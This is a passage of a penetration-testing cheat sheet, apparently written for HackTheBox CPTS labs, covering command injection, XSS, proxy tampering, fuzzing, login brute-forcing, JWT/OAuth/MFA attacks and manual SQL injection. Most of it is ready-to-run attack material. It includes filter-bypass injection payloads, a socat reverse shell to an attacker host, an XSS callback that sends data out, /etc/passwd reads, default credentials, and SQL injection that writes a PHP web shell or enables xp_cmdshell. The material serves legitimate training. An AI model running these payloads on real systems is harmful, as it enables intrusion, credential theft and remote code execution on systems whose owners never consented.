    499 # slash blocked -> pull it from $PATH
    500 curl "http://$IP/ping.php?ip=127.0.0.1%0acat${IFS}${PATH:0:1}etc${PATH:0:1}passwd"
    501 
    502 # command name blocked -> quote/char split (bash -c '...' strips the empty quote pairs)
    503 curl "http://$IP/ping.php?ip=127.0.0.1%0a'i'd"
    504 curl "http://$IP/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat"
    505 curl "http://$IP/ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php"     # READ THE SOURCE first
    506 
    507 # binary name blocked -> wildcards; case-WAF -> reverse / base64
    508 curl "http://$IP/ping.php?ip=127.0.0.1%0a/???/c?t${IFS}/etc/passwd"
    509 curl "http://$IP/ping.php?ip=127.0.0.1%0abash<<<\$(base64${IFS}-d<<<aWQ=)"   # aWQ= = 'id'
    510 
    511 # RCE -> reverse shell via socat (survives the filter on the INLANEFREIGHT lab)
    512 socat -d -d TCP4-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0            # attacker
    513 curl "http://$IP/ping.php?ip=127.0.0.1%0asocat${IFS}TCP4:$LHOST:4444${IFS}EXEC:bash,pty,stderr,setsid,sigint,sane"
    514 ```
    515 
    516 > [!warning] Watch out
    517 > - `%0a` (newline) beats operator blacklists almost every time — developers can't fully ban it. Try it first.
    518 > - Filters compose, so bypasses compose: one request often needs operator + space + name-split stacked.
    519 > - Every space in the payload must become `${IFS}` or `%09`, or the space blacklist kills the request.
    520 > - `${IFS}` for spaces and single-quote splitting (`'i'd`) for names are the two highest-value tricks — learn them cold. Cat the source before brute-forcing a shell.
    521 
    522 ---
    523 
    524 ### XSS
    525 
    526 **What to look for** → every input reflected in a response or stored and rendered later. Insert a unique inert marker (`xss7q9`), find *where* and *how* it renders, then pick a context-matched proof.
    527 
    528 **Enumerate / prove (context-matched, `console.log` first)**
    529 ```http
    530 GET /search?q=xss7q9 HTTP/1.1
    531 Host: target.htb
    532 ```
    533 ```html
    534 <!-- HTML text context -->          <img src=x onerror=console.log('xss7q9')>
    535 <!-- double-quoted attribute -->    "><img src=x onerror=console.log('xss7q9')>
    536 <!-- single-quoted attribute -->    '><img src=x onerror=console.log('xss7q9')>
    537 <!-- JS string context -->          ';console.log('xss7q9');//
    538 <!-- JS template literal -->        ${console.log('xss7q9')}
    539 ```
    540 ```bash
    541 # DOM XSS triage — grep downloaded JS for sources -> sinks
    542 rg -n 'location\.(hash|search|href)|document\.(URL|referrer|cookie)|postMessage|innerHTML|outerHTML|insertAdjacentHTML|document\.write|eval\(|setTimeout\(' ./js
    543 ```
    544 
    545 **Blind / stored callback**
    546 ```bash
    547 python3 -m http.server 8000 --bind 0.0.0.0        # --bind 0.0.0.0 so the HTB browser (VPN iface) can reach it
    548 ```
    549 ```html
    550 <img src=x onerror="new Image().src='http://$LHOST:8000/xss?o='+encodeURIComponent(location.origin)">
    551 ```
    552 Automate discovery/context/blind-OOB with [dalfox](https://github.com/hahwul/dalfox) → Dalfox - HTB and AEN Cheat Sheet; parameter-fuzz for reflected XSS with `nuclei -u 'http://$IP/?id=1' -dast`.
    553 
    554 > [!warning] Watch out
    555 > - Match the payload to the observed parser — a short context-correct payload beats a giant generic list. Test one metachar at a time and inspect the HTML/JS before adding a handler.
    556 > - Live DOM ≠ raw response: browser repair and client JS create or remove exploitability after the response arrives (compare View-Source vs Elements).
    557 > - `document.cookie` is empty under `HttpOnly` — that does **not** disprove XSS. Execution and impact (cookie theft, OS access) are separate claims; XSS alone gives no OS shell.
    558 > - HTTP callback against an HTTPS target = mixed-content blocked; use an HTTPS collector.
    559 
    560 ---
    561 
    562 ### 📸 Bulk web triage — EyeWitness / gowitness
    563 
    564 **What to look for** → after vhost/subdomain fuzzing (or a subnet sweep through a pivot in STAGE 10) you have dozens of HTTP endpoints. Screenshot them all at once instead of opening each by hand — spot the login panels, default installs and dev apps in one contact sheet.
    565 
    566 ```bash
    567 # feed it the hosts/urls you discovered
    568 eyewitness --web -f urls.txt -d ./eyewitness            # opens a report.html gallery
    569 gowitness scan file -f urls.txt                          # single-binary alternative
    570 ```
    571 > [!tip] Pairs with STAGE 2 fuzzing and STAGE 10 pivots — `cut` the live vhosts out of your ffuf output straight into `urls.txt`. Deep dive: EyeWitness-Cheatsheet.
    572 ### 🧰 Web Proxies, Advanced Fuzzing & Login Brute-Forcing
    573 
    574 When curl + a raw ffuf sweep runs out of road: proxy the app so I can read and rewrite every request, push fuzzing past dirs/vhosts into extensions, values, headers, bodies, then brute-force the one login I actually found. Proxy listener is `127.0.0.1:8080` (Burp/ZAP) — FoxyProxy toggles the browser onto it, install the CA cert first or HTTPS pages break. Deep dives: 3 - Intercepting Web Requests · 4 - Repeating Requests · 7 - Burp Intruder · 9 - Burp Scanner · 3 - Page & Extension Fuzzing · 4 - Recursive Fuzzing · 7 - Parameter Fuzzing - GET & POST · 5 - Hydra · 6 - Medusa · 7 - Custom Wordlists.
    575 
    576 ---
    577 
    578 #### Burp / ZAP — intercept, rewrite, repeat, decode
    579 
    580 **What to look for** → client-side-only validation (`type="number"`, `maxlength`, disabled/hidden fields), Base64/JSON cookies carrying trust claims (`is_admin`, role), anything the browser enforces that the back-end might not re-check.
    581 
    582 **Intercept & manipulate**
    583 ```text
    584 Burp : Proxy > Intercept (on by default) — edit the held request, Forward
    585 ZAP  : traffic-light button / Ctrl+B — Continue/Step
    586 # front-end restricts input to digits; intercept the built request and inject anyway:
    587 ip=1        ->   ip=;id;
    588 ```
    589 
    590 **Response interception — re-enable what the page hid**
    591 ```text
    592 Burp : Proxy > Options > Intercept Response, then Ctrl+Shift+R to force the response through
    593 ZAP  : Step on a held request auto-pauses its response
    594 # edit the rendered HTML so the payload can be typed straight into the page:
    595 <input type="number" ... maxlength="3">   ->   <input type="text" ... maxlength="100">
    596 ```
    597 
    598 **Automate the rewrite (Match & Replace / Replacer)** — one-off edits don't persist; make them a session rule:
    599 
    600 | Tool | Type | Match | Replace |
    601 |---|---|---|---|
    602 | Burp `Proxy > Options > Match and Replace` | Request header | `^User-Agent.*$` (regex) | `User-Agent: HackTheBox Agent 1.0` |
    603 | Burp | Response body | `type="number"` (literal) | `type="text"` |
    604 | ZAP `Replacer` (`Ctrl+R`) | Request Header | `User-Agent` | `HackTheBox Agent 1.0` |
    605 
    606 **Repeat instead of re-intercepting** — iterate payloads without toggling intercept:
    607 ```text
    608 Burp : right-click history request > Send to Repeater (Ctrl+R) > Ctrl+Shift+R to the tab > edit > Send
    609        right-click > Change Request Method  (flip GET<->POST without rewriting the request line)
    610 ZAP  : right-click history > Open/Resend with Request Editor  (HUD: Replay in Console / in Browser)
    611 ```
    612 
    613 **Decode & tamper an encoded cookie** (Burp Decoder / Inspector, ZAP `Ctrl+E`, or CyberChef):
    614 ```text
    615 eyJ1c2VybmFtZSI6Imd1ZXN0IiwgImlzX2FkbWluIjpmYWxzZX0=   --Base64-->   {"username":"guest","is_admin":false}
    616 # flip guest->admin / false->true, re-encode Base64, paste back into the Repeater request, Send
    617 ```
    618 
    619 > [!warning] Watch out
    620 > - Burp requires manual URL-encoding of pasted payloads (`Ctrl+U`, or right-click → *URL-encode as you type*) — an unencoded space, `&`, or `#` in a hand-edited body silently corrupts the request. ZAP encodes outgoing data automatically → **don't double-encode**.
    621 > - Burp intercepts *all* Firefox traffic — Forward through the background noise before your target request shows up.
    622 > - Burp keeps **Original vs Edited** request views; ZAP history only shows what was actually sent. Use Burp's when you need to prove exactly what you changed.
    623 > - A `type="number"` edit only lasts one response — persist it as a Match & Replace rule or it reverts on refresh.
    624 
    625 ---
    626 
    627 #### Burp Intruder / ZAP Fuzzer / Scanner
    628 
    629 **Intruder positions & attack types** (`Ctrl+I` from history, `Ctrl+Shift+I` to the tab): wrap the payload spot in `§markers§`.
    630 ```text
    631 GET /§DIRECTORY§/ HTTP/1.1        # Sniper  = 1 position, 1 list  (dirs, single param, single-user pw guess)
    632 user=§admin§&pass=§pass§          # Cluster bomb = N positions x N lists, every combo (user x password)
    633                                   # Pitchfork = N positions, lists advance in lockstep (paired creds / stuffing)
    634 Payloads > Simple List > Load wordlist
    635 Payload Processing > Skip if matches regex  ^\..*$        # drop dotfile noise before sending
    636 Options > Grep - Match: add "200 OK", untick "Exclude HTTP headers" (status line lives in headers)
    637 ```
    638 ZAP Fuzzer is the unthrottled analogue (`right-click > Attack > Fuzz` → File Fuzzers ships built-in dirbuster lists → add a **URL Encode** processor → threads 20). Pick **breadth-first** for multi-account spraying so one account isn't hammered with every password (lockout).
    639 
    640 **Scanner (Burp Pro / ZAP free) — crawl + passive + active**
    641 ```text
    642 Target > Site map > right-click > Add to scope   (then Target > Scope, add regex include/exclude)
    643 Dashboard > New Scan > Crawl and Audit > Select from library > Audit checks: critical issues only
    644 Filter Issue activity by: High severity + Firm/Certain confidence
    645 ```
    646 
    647 > [!warning] Watch out
    648 > - Free Burp Intruder is throttled to ~1 req/s — reserve it for short, targeted lists; a big sweep belongs in `ffuf`/`feroxbuster` (thousands/s). Its real edge is payload-processing rules + Cluster bomb + one-click pivot to Repeater.
    649 > - **Scope discipline before an active scan**: explicitly *Remove from scope* logout links and destructive actions, or the crawler logs your own session out / triggers state changes mid-audit.
    650 > - Passive scan only *suggests* (no new traffic, confidence-rated); active scan *confirms* by probing — know which is running before you trust a finding. A scanner's exported report is appendix data, never the deliverable → 9 - Burp Scanner, 10 - ZAP Scanner.
    651 
    652 **Burp vs ZAP — which when** ([Burp Suite](https://portswigger.net/burp) · [OWASP ZAP](https://github.com/zaproxy/zaproxy)):
    653 
    654 | Need | Burp | ZAP |
    655 |---|---|---|
    656 | Manual testing loop (Repeater) | best-in-class | Request Editor is fine |
    657 | Fast bulk fuzzing | Community Intruder throttled ~1 req/s ❌ | Fuzzer unthrottled ✅ |
    658 | Active scanner | Pro only | free, decent |
    659 | Extensions | BApp store (Turbo Intruder, Logger++, InQL) | add-on marketplace |
    660 | Exam/lab default | use Burp CE + ffuf to cover the throttle | good free fallback for scanning |
    661 
    662 > [!tip] Real workflow
    663 > Browser → Burp (intercept, Repeater, Comparer, Decoder) for anything hand-crafted; ffuf/feroxbuster for volume fuzzing; ZAP or nuclei for the broad vuln sweep. All three proxy-able through each other (`ffuf -x`, `--proxy` flags below).
    664 
    665 ---
    666 
    667 #### Proxy a CLI tool through Burp/ZAP (debugging, not tunneling)
    668 
    669 Different from the STAGE 10 SOCKS pivot — this routes a tool's HTTP through the *proxy on :8080* so I can read/replay its exact raw requests when a scanner "isn't working".
    670 ```bash
    671 # native flags first — faster and more reliable than wrapping
    672 ffuf   -x http://127.0.0.1:8080 ...
    673 sqlmap --proxy=http://127.0.0.1:8080 -r request.txt
    674 nmap   --proxies http://127.0.0.1:8080 $IP -p PORT -Pn -sC     # experimental; -Pn required
    675 
    676 # msf module through the proxy
    677 msf> set PROXIES HTTP:127.0.0.1:8080
    678 
    679 # proxychains fallback for anything without a native flag
    680 #   /etc/proxychains.conf  ->  http 127.0.0.1 8080   (comment the default socks4 line, set quiet_mode)
    681 proxychains curl http://$IP:PORT
    682 ```
    683 > [!tip] Only proxy while actively investigating a tool's requests — it adds latency and will crawl a bulk fuzz. Turn it off for normal runs. See 6 - Proxying Tools.
    684 
    685 ---
    686 
    687 #### Advanced ffuf — fingerprint, recurse, filter the wordlist
    688 
    689 **What to look for** → the stack's real extension before I waste a page-fuzz, deep nested trees, and wordlists trimmed to a known password policy so the run isn't dominated by impossible candidates.
    690 
    691 **Fingerprint the extension off `index.*`** (more reliable than guessing from `Server:` header):
    692 ```bash
    693 # web-extensions.txt already carries the leading dot, so FUZZ sits straight after "index"
    694 ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ \
    695   -u http://$IP/blog/indexFUZZ -c
    696 #   .php [200]  -> PHP stack ;  .phps [403] -> source-view handler exists but blocked (still useful intel)
    697 # then reuse a directory list as a FILENAME list against the confirmed extension:
    698 ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ \
    699   -u http://$IP/blog/FUZZ.php -c
    700 ```
    701 
    702 **Recursion + extension in one pass** — the depth here goes beyond the guide's plain `-recursion`:
    703 ```bash
    704 ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ \
    705   -u http://$IP/FUZZ -recursion -recursion-depth 1 -e .php -v -c
    706 #   -recursion-depth 1 = direct sub-dirs only (start shallow, then hand-target the interesting dir)
    707 #   -e .php doubles the list (bare + .php) so dirs AND files hit in one run
    708 #   -v is MANDATORY with recursion — plain keyword output is ambiguous once jobs nest ([INFO] Adding a new job...)
    709 ```
    710 
    711 **Value fuzzing with a generated list** (when no SecLists file fits an app-specific ID/token shape):
    712 ```bash
    713 seq 1 1000 | ffuf -w -:FUZZ -u http://$IP/admin/admin.php -X POST \
    714   -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs <baseline> -c
    715 #   pipe seq straight in with -w -  (no intermediate ids.txt); -fs = the "Invalid id!" baseline size
    716 ```
    717 
    718 **Trim a wordlist to the target's password policy before feeding brute-force** (min 8, upper+lower+digit):
    719 ```bash
    720 grep -P '^(?=.{8,})(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9]).*$' rockyou.txt > policy.txt
    721 # add "2+ specials" with a grouped quantifier:
    722 grep -E '([!@#$%^&*].*){2,}' policy.txt > policy2.txt      # collapses a 10k list to dozens
    723 ```
    724 
    725 > [!warning] Watch out
    726 > - `-recursion` without `-recursion-depth` against a deep tree can expand ~forever — always cap it, then follow up manually. feroxbuster recurses by default with wildcard-response heuristics if ffuf's soft-404 tuning gets tedious.
    727 > - A fuzz hit means the value/param is *recognised*, not that it still *works* — confirm with a manual `curl` and read the actual app response (`Invalid id!` proves the param is live and validated → 8 - Value Fuzzing).
    728 
    729 ---
    730 
    731 #### ffuf — POST body, JSON, header & cookie fuzzing
    732 
    733 Same `FUZZ`-anywhere primitive as dir fuzzing, just moved into the body/headers. The gotcha the guide's POST example omits is the **Content-Type header** — PHP won't parse the body without it.
    734 ```bash
    735 # POST param NAME (form-encoded) — the header is required or every hit reads as the baseline
    736 ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
    737   -u http://$IP/admin/admin.php -X POST -d 'FUZZ=key' \
    738   -H 'Content-Type: application/x-www-form-urlencoded' -fs <baseline> -c
    739 
    740 # JSON API body — fuzz a field value inside the JSON
    741 ffuf -w users.txt:FUZZ -u http://$IP/api/login -X POST \
    742   -H 'Content-Type: application/json' -d '{"username":"FUZZ","password":"test"}' -fr 'error' -c
    743 
    744 # HEADER fuzz — e.g. hunt an ACL/localhost-only path via spoofed forwarding headers
    745 ffuf -w /usr/share/seclists/Miscellaneous/web/http-request-headers/http-request-headers-fuzz.txt:FUZZ \
    746   -u http://$IP/admin -H 'FUZZ: 127.0.0.1' -c
    747 ffuf -u http://$IP/admin -w hosts.txt:FUZZ -H 'X-Forwarded-For: FUZZ' -fc 403 -c
    748 
    749 # COOKIE value fuzz — session/role guessing
    750 ffuf -w values.txt:FUZZ -u http://$IP/dashboard -b 'role=FUZZ' -fc 403 -c
    751 ```
    752 > [!tip] Once a hidden param surfaces it's under-tested by definition — revisit it with SQLi / command-injection / XSS from the sections above rather than treating discovery as the finish line → 7 - Parameter Fuzzing - GET & POST.
    753 
    754 ---
    755 
    756 #### Login brute-forcing — Hydra & Medusa
    757 
    758 **What to look for** → a confirmed username (default cred, enumerated, `/home/<user>`), the form's exact `method` + field `name`s, and the precise success/failure signal (dev-tools Network tab or proxy interception is ground truth). Try default creds *before* a long run — free and often still valid. Tools: [hydra](https://github.com/vanhauser-thc/thc-hydra) (raw throughput, service modules), [medusa](https://github.com/jmk-foofus/medusa) (parallel hosts), ffuf (web/JSON flexibility).
    759 
    760 **Default creds first**
    761 ```bash
    762 # service-specific lists live under Default-Credentials/
    763 head /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt
    764 hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://$IP
    765 #   -C file = "user:pass" combined pairs, one attempt each (spray default pairs, no cartesian product)
    766 ```
    767 
    768 **Hydra `http-post-form`** — the params string is `path:body-template:condition`:
    769 ```bash
    770 hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -f -V $IP -s 80 \
    771   http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"
    772 #   ^USER^/^PASS^ = per-attempt placeholders
    773 #   F=<string>  -> response CONTAINING it = fail (everything else = candidate success)   [most reliable]
    774 #   S=302 / S=Dashboard -> explicit SUCCESS marker; use when there's no clean failure string
    775 #   -f stop on first hit, -V show each try
    776 ```
    777 
    778 **Hydra service modules & pure brute** (`service://target`, consistent across protocols):
    779 ```bash
    780 hydra -l "$U" -P rockyou.txt ssh://$IP -t 4          # ssh (throttle -t on flaky SSH)
    781 hydra -L users.txt -P pass.txt ftp://$IP -s 2121 -V  # non-default port
    782 hydra -l basic-auth-user -P pass.txt $IP http-get / -s 81   # HTTP Basic Auth
    783 hydra -l root -p toor -M targets.txt ssh             # one pair across many hosts (subnet sweep)
    784 hydra -l administrator -x 6:8:abcABC0123 $IP rdp     # -x = charset brute (len 6-8), not a wordlist
    785 # also: pop3 imap smtp mysql mssql vnc rdp  — same service://IP shape
    786 ```
    787 
    788 **Medusa** — same idea, different flags; strong for chaining a foothold into more targets:
    789 ```bash
    790 medusa -h $IP -n PORT -u sshuser -P pass.txt -M ssh -t 3
    791 # after SSH in: netstat -tulpn | grep LISTEN  ->  spot a new local service (e.g. :21)
    792 medusa -h 127.0.0.1 -u ftpuser -P pass.txt -M ftp -t 5      # /home/ftpuser hinted the username
    793 medusa -M web-form -h $IP -U users.txt -P pass.txt -m FORM:"..."   # web login module
    794 ```
    795 
    796 **ffuf as the cred brute** (handles JSON/tokens Hydra chokes on) — this is the cluster-bomb:
    797 ```bash
    798 ffuf -w users.txt:U -w pass.txt:P -mode clusterbomb \
    799   -u http://$IP/login.php -X POST -d 'username=U&password=P' \
    800   -H 'Content-Type: application/x-www-form-urlencoded' -fr 'Invalid credentials' -c
    801 #   -mode clusterbomb = every user x every pass ;  -mode pitchfork = paired lines (credential stuffing)
    802 ```
    803 
    804 > [!warning] Watch out
    805 > - Confirm the F=/S= signal by hand first — Hydra's condition match is a raw string-grep against the response; a wrong string reports every attempt as success (or none). `F=` beats `S=` when the app shows a stable error.
    806 > - Hydra `http-post-form` breaks on **CSRF tokens, JSON APIs, and JS-side validation** — switch to Burp Intruder (Cluster bomb + Grep-Match) or the `ffuf` cluster-bomb above for those; keep Hydra/Medusa for raw SSH/FTP/RDP throughput.
    807 > - Watch for **lockout / rate-limit / CAPTCHA** — drop `-t`, prefer spraying (few passwords × many users, breadth-first) over hammering one account. `-f` should be a default habit to stop the noise the moment a pair lands.
    808 > - NetExec is the better pick for Windows/AD-adjacent services (SMB/WinRM/MSSQL/RDP) — it sprays *and* enumerates post-auth in one shot (STAGE 3/AD).
    809 
    810 ---
    811 
    812 #### Custom wordlists from OSINT
    813 
    814 Generic 10M-entry lists rarely contain one named target's actual creds — build small, relevant ones and let them feed `-L`/`-P` directly.
    815 ```bash
    816 # usernames from a real name (initials, dotted, numbered permutations)
    817 ./username-anarchy Jane Smith > users.txt
    818 
    819 # CUPP: biographical password profile (name, DOB, partner, pet, company, keywords -> leet + suffixes)
    820 cupp -i                                   # interactive; ~46k candidates from a modest profile
    821 grep -P '^(?=.{6,})(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9]).*$' jane.txt \
    822   | grep -E '([!@#$%^&*].*){2,}' > jane-filtered.txt      # policy-trim before the run
    823 ```
    824 > [!tip] Username *and* password matter — a known username halves the search space. `theHarvester` + a known email format (`f.last`), or `exiftool` on public PDFs for the author naming convention, often beats brute permutation. Full pipeline: 7 - Custom Wordlists, policy-filter theory in 4 - Hybrid Attacks & Credential Stuffing, default-cred rationale in 2 - Password Security Fundamentals.
    825 
    826 ---
    827 
    828 #### AuthN attacks — defaults, JWT, OAuth, reset flaws, MFA
    829 
    830 **Default credentials table** — try these *before* any wordlist (T1078 Valid Accounts):
    831 
    832 | App | Defaults | Notes |
    833 |---|---|---|
    834 | Tomcat Manager | `tomcat:tomcat` · `tomcat:s3cret` · `admin:admin` | → WAR deploy RCE (Tomcat → /manager WAR deploy (msfvenom war)) |
    835 | Jenkins | `admin:admin` · often **no auth** (setup skipped) | → Script console RCE |
    836 | GitLab | root pw set at install; check **self-registration** | → repo secret mining |
    837 | Grafana | `admin:admin` (prompts change, often skipped) | also CVE-2021-43798 unauth LFI |
    838 | Splunk | `admin:changeme` | expired trial → **no auth at all** |
    839 | PRTG | `prtgadmin:prtgadmin` | pre-filled on the login page |
    840 | Nagios XI | `nagiosadmin:PASSW0RD` | multiple RCE CVEs |
    841 | phpMyAdmin | `root:` (blank) · `root:root` | → `SELECT ... INTO OUTFILE` webshell |
    842 | WebLogic | `weblogic:weblogic` · `system:Passw0rd` | console → app deploy |
    843 | Axis2 | `admin:axis2` | → `.aar` service upload RCE |
    844 | Drupal/Joomla WP | set at install — but `admin:admin`/`admin:password` always worth 3 tries | generic-error logins kill user enum |
    845 
    846 Also check the curated lists: `/usr/share/seclists/Passwords/Default-Credentials/` and the web tool [cirt.net](https://cirt.net)/vendor default lists.
    847 
    848 **JWT attacks** — grab the token from `Authorization: Bearer`, decode, then attack ([jwt_tool](https://github.com/ticarpi/jwt_tool)):
    849 
    850 ```bash
    851 # decode by hand
    852 echo '<payload-part>' | tr '_-' '/+' | base64 -d 2>/dev/null
    853 
    854 # jwt_tool full audit + signing-key crack
    855 python3 jwt_tool.py <JWT>                 # recon mode: flags alg, kid, common flaws
    856 python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt   # crack weak HMAC secret
    857 python3 jwt_tool.py <JWT> -X a            # alg=none attack
    858 python3 jwt_tool.py <JWT> -I -pc role -pv admin   # inject claim after -T tamper
    859 ```
    860 
    861 | JWT flaw | Test |
    862 |---|---|
    863 | `alg: none` accepted | set header `{"alg":"none"}`, empty signature, resend |
    864 | Weak HMAC secret | crack with jwt_tool/hashcat mode 16500 (`rockyou`, `jwt.secrets.list`) |
    865 | RS256→HS256 confusion | sign with the server's **public key as the HMAC secret** |
    866 | `kid` injection | `kid: ../../dev/null` (sign with empty key), SQLi in kid, path to your key |
    867 | `jku`/`x5u` header abuse | point at attacker-hosted JWK set |
    868 | No expiry/aud check | replay old tokens, swap `aud` |
    869 
    870 **Flask session cookies** — Django/Flask signed cookies are the same shape of bug: with [flask-unsign](https://github.com/Paradoxis/Flask-Unsign) crack the `SECRET_KEY`, then forge any session:
    871 
    872 ```bash
    873 flask-unsign --decode --cookie '<session.cookie>'
    874 flask-unsign --unsign --cookie '<cookie>' --wordlist rockyou.txt     # crack secret
    875 flask-unsign --sign --cookie "{'username':'admin'}" --secret 'crackedSecret'
    876 ```
    877 
    878 **OAuth / OIDC pitfalls** (test systematically, don't skim):
    879 
    880 - `redirect_uri` validation → open redirect to `attacker.tld` steals the auth `code`/`token` (substring/`@`/dot tricks: `https://legit.com.attacker.tld`, `https://attacker.tld?u=legit.com`).
    881 - `response_type=token` implicit flow → access token in URL fragment, leaks via `Referer`/browser history.
    882 - State/`state` parameter missing → OAuth **CSRF** (attacker account linked to victim session).
    883 - `code` replay or no PKCE on a public client → intercept & reuse the authorization code.
    884 - OIDC `id_token` accepted without signature/issuer validation.
    885 
    886 **Password reset flaws** — the highest-yield auth surface after brute force:
    887 
    888 - Host-header poisoning: request a reset with `Host: attacker.tld` (or `X-Forwarded-Host`) → victim's reset link points at you.
    889 - Token leakage via `Referer` when the reset page loads third-party resources.
    890 - Predictable/short/never-expiring tokens; token not invalidated after use; token tied to no user (swap email/uid in the reset-confirm request).
    891 - Response oracle for user enumeration on the reset form ("email not found").
    892 
    893 **2FA / MFA bypass patterns**:
    894 
    895 - Direct-request to post-2FA endpoints with only the stage-1 session (forced browsing).
    896 - Response tampering: `{"success":false}` → `true`, or status 401 → 200 (client-side enforcement).
    897 - OTP brute force: 4–6 digit codes without rate-limit/lockout → race it (see 🏎️ Race conditions & request smuggling).
    898 - Reuse/flawed rotation of OTP tokens; `null`/empty OTP accepted.
    899 - Backup codes weaker than the OTP; "remember device" cookie guessing.
    900 
    901 **Session fixation & session mismanagement**:
    902 
    903 - App issues a session cookie **pre-login and doesn't rotate it post-login** → fixate a victim on your cookie, wait for them to log in, replay it.
    904 - Session cookie survives logout / long `Expires` / no `Secure`+`HttpOnly`+`SameSite` flags → theft & replay windows.
    905 - JWT/localStorage "sessions" can't be revoked server-side — logout is cosmetic.
    906 
    907 > [!warning] OPSEC — auth attacks are the noisiest thing you'll do
    908 > Lockout policies, impossible-travel alerts, and login-anomaly dashboards all trigger here. Spray ≤2 passwords per account per window (breadth-first), respect the GitLab-style "10 attempts / 10 min" lockouts, and always `-f`/stop-on-success. On CPTS, default creds and one wordlist pass are usually the intended path — hours of rockyou against a login form rarely are. See [02 - Attacking Common Applications - CPTS Cheat Sheet](/sheets/pentest-workflow/attacking-common-applications-guide) for per-app cred tables and [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) for what to do with the shell that follows.
    909 
    910 ### 💉 Manual Injection Depth — SQLi · LFI/RFI · Upload · CmdInjection
    911 
    912 The automated tools above hide the mechanics. This is the by-hand depth for when sqlmap gets WAF'd, when there's an upload form to abuse, or when the exam wants me to *show* the injection. Modules: SQLi Fundamentals (7 - Subverting Query Logic → 11 - Reading and Writing Files), File Inclusion (3 - Basic Bypasses, 7 - LFI and File Uploads, 8 - Log Poisoning), File Upload (3 - Blacklist Filters → 7 - Other Upload Attacks), Command Injection (3 - Identifying Filters → 8 - Evasion Tools). All web shells below = `<?php system($_REQUEST['cmd']); ?>`.
    913 
    914 #### Manual SQLi — auth-bypass → UNION extract → file R/W → shell
    915 
    916 **What to look for** → a `'` that throws a SQL error (injectable), a login form (auth bypass), or any reflected query (UNION dump). Reach here when sqlmap misses it or a WAF blocks its request shapes — see 9 - Union Clause, 10 - Database Enumeration, 11 - Reading and Writing Files.
    917 
    918 **Enumerate — confirm, bypass auth, detect columns, fingerprint**
    919 ```bash
    920 # injectable? one quote -> odd-quote syntax error
    921 username: admin'
    922 
    923 # auth bypass (either field): OR-always-true, or comment out the rest
    924 ' or '1'='1
    925 admin'-- -           # comment neutralises trailing "AND password=..."
    926 admin')-- -          # parenthesised query: close the ( before commenting
    927 # NOTE: -- needs a TRAILING SPACE; in a URL write --+ , and # must be %23
    928 
    929 # column count (two directions)
    930 cn' ORDER BY 4-- -                    # increment until "Unknown column '5'"
    931 cn' UNION SELECT 1,2,3,4-- -          # increment until it STOPS erroring
    932 
    933 # which columns print + DBMS fingerprint
    934 cn' UNION SELECT 1,@@version,3,4-- -  # full output visible  -> 10.3.22-MariaDB...
    935 cn' UNION SELECT 1,POW(1,1),3,4-- -   # only a NUMERIC column prints
    936 cn' UNION SELECT SLEEP(5)-- -         # zero output at all -> 5s delay = blind (oracle for B/T)
    937 ```
    938 
    939 **Exploit / Attack — INFORMATION_SCHEMA walk, then FILE read/write → RCE**
    940 ```bash
    941 # DBs -> tables -> columns -> data (dot-operator reaches OTHER databases)
    942 cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
    943 cn' UNION SELECT 1,database(),3,4-- -                                       # DB the query runs in
    944 cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES  WHERE table_schema='dev'-- -
    945 cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,4 FROM INFORMATION_SCHEMA.COLUMNS  WHERE table_name='credentials'-- -
    946 cn' UNION SELECT 1,username,password,4 FROM dev.credentials-- -             # cross-DB read
    947 
    948 # --- file R/W: confirm FILE priv + secure_file_priv BEFORE writing ---
    949 cn' UNION SELECT 1,user(),3,4-- -
    950 cn' UNION SELECT 1,grantee,privilege_type,4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
    951 cn' UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- -   # empty = write anywhere
    952 
    953 cn' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -
    954 cn' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3,4-- -   # Ctrl+U for raw source (leaks DB creds)
    955 
    956 # proof-write first (confirms webroot + perms), THEN the shell -> RCE
    957 cn' UNION SELECT 1,'proof',3,4 INTO OUTFILE '/var/www/html/proof.txt'-- -
    958 cn' UNION SELECT "",'<?php system($_REQUEST[0]); ?>',"","" INTO OUTFILE '/var/www/html/shell.php'-- -
    959 curl "http://$IP/shell.php?0=id"
    960 # longer/binary payloads: wrap the string in FROM_BASE64('...') INTO OUTFILE
    961 
    962 # MSSQL analog (DBMS is MSSQL, not MySQL) -> stacked query + xp_cmdshell
    963 '; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -
    964 '; EXEC xp_cmdshell 'whoami';-- -
    965 ```
    966 
    967 > [!warning] Watch out
    968 > - `-- ` needs the trailing space; `#` → `%23`; and count the parentheses — a wrapped query needs `admin')-- ` not `admin'-- `.
    969 > - Put real data only in a **printed** column (map them with `@@version`); output in an unprinted column is computed but invisible. `NULL` is the type-agnostic filler when a position errors on type.
    970 > - `INTO OUTFILE` needs all three: `FILE` priv **+** `secure_file_priv` permits the path **+** OS write perms. Stock MySQL defaults `secure_file_priv=/var/lib/mysql-files` (or `NULL`) → OUTFILE to webroot fails; pivot to cred-dump, don't force RCE.
